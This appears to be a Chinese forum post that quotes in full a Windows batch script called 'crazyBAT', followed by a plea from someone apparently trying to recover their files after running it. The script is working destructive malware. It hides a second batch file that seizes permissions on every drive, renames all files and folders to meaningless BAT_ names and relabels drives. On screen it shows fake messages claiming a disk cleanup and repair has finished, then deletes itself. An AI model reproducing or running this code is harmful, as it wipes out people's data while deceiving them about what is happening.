- @echo off
- rem NAME: crazyBAT
- rem TYPE: batFile
- rem AHTH: zydervish
- rem DATE: 2010_03_22
- ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
- echo setLocal enableDelayedExpansion>C:\windows\crazybat.bat
- echo for %%%%i in (A B D E F G H I J K L M N O P Q R S T U V W X Y Z C) do (>>C:\windows\crazybat.bat
- echo if exist %%%%i:\ (>>C:\windows\crazybat.bat
- echo cacls %%%%i:\ /t /e /c /g %%userName%%:F>>C:\windows\crazybat.bat
- echo set ^"name1=1^">>C:\windows\crazybat.bat
- echo set ^"name2=1^">>C:\windows\crazybat.bat
- echo cd /d %%%%i:\>>C:\windows\crazybat.bat
- echo for /r %%%%j in (*.*) do (>>C:\windows\crazybat.bat
- echo ren ^"%%%%j^" ^"BAT_!name2!_!name1!.BAT^">>C:\windows\crazybat.bat
- echo set /a ^"name1+=1^">>C:\windows\crazybat.bat
- echo if !name1!==9999 (>>C:\windows\crazybat.bat
- echo set ^"name1=1^">>C:\windows\crazybat.bat
- echo set /a ^"name2+=1^">>C:\windows\crazybat.bat
- echo )>>C:\windows\crazybat.bat
- echo )>>C:\windows\crazybat.bat
- echo set ^"name1=1^">>C:\windows\crazybat.bat
- echo set ^"name2=1^">>C:\windows\crazybat.bat
- echo cd /d %%%%i:\>>C:\windows\crazybat.bat
- echo for /d /r %%%%k in (*) do (>>C:\windows\crazybat.bat
- echo set ^"newDir=%%%%k^">>C:\windows\crazybat.bat
- echo for /l %%%%m in (1,1,50) do (>>C:\windows\crazybat.bat
- echo if not ^"!newDir:~-1,1!^"==^"\^" (>>C:\windows\crazybat.bat
- echo set ^"newDir=!newDir:~0,-1!^">>C:\windows\crazybat.bat
- echo )>>C:\windows\crazybat.bat
- echo )>>C:\windows\crazybat.bat
- echo move ^"%%%%k^" ^"!newDir!BAT_!name2!_!name1!^">>C:\windows\crazybat.bat
- echo set /a ^"name1+=1^">>C:\windows\crazybat.bat
- echo if !name1!==9999 (>>C:\windows\crazybat.bat
- echo set ^"name1=1^">>C:\windows\crazybat.bat
- echo set /a ^"name2+=1^">>C:\windows\crazybat.bat
- echo )>>C:\windows\crazybat.bat
- echo )>>C:\windows\crazybat.bat
- echo label %%%%i: BAT>>C:\windows\crazybat.bat
- echo )>>C:\windows\crazybat.bat
- echo )>>C:\windows\crazybat.bat
- echo del %%0 /f /q>>C:\windows\crazybat.bat
- echo createObject(^"wscript.shell^").run ^"C:\windows\crazybat.bat^",0 >c:\windows\crazyBat.vbs
- start c:\windows\crazyBat.vbs
- setLocal enableDelayedExpansion
- cls
- color 97
- for /l %%i in (15,5,100) do (
- mode con cols=%%i lines=1
- )
- for /l %%i in (2,1,20) do (
- mode con cols=100 lines=%%i
- )
- echo.
- echo.
- set str=" 亲爱的用户,程序正在对您的计算机做清理,可能需要一定时间,"
- for /l %%i in (0,1,100) do (
- if not "!str:~%%i,1!"=="" (
- set /p zy=!str:~%%i,1!<NUL
- for /l %%j in (1,1,500) do (
- ver>nul
- )
- )
- )
- echo wscript.sleep 200 >C:\1.vbs
- set str="请耐心等待......"
- set num=0
- :START
- <NUL p="%str%
- call C:\1.vbs
- <NUL p="" set
- <NUL p="
- call C:\1.vbs
- set /a num+=1
- if not %num%==100 (
- goto :START
- )
- cls
- echo.
- echo.
- set str=" 恭喜您,程序已经完成了深度清理,包括碎片整理,磁盘修复,垃圾文件清除等等。"
- for /l %%i in (0,1,100) do (
- if not "!str:~%%i,1!"=="" (
- set /p a=!str:~%%i,1!<NUL
- for /l %%j in (1,1,500) do (
- ver>nul
- )
- )
- )
- echo.
- echo.
- set str=" 为保护原创,您只能使用一次,谢谢合作。"
- for /l %%i in (0,1,100) do (
- if not "!str:~%%i,1!"=="" (
- set /p a=!str:~%%i,1!<NUL
- for /l %%j in (1,1,500) do (
- ver>nul
- )
- )
- )
- del %0 /f /q
复制代码
这个并没有生成HELPME.INI有没有恢复的办法
一天一夜没睡找办法了
再不睡我爸要怀疑了! |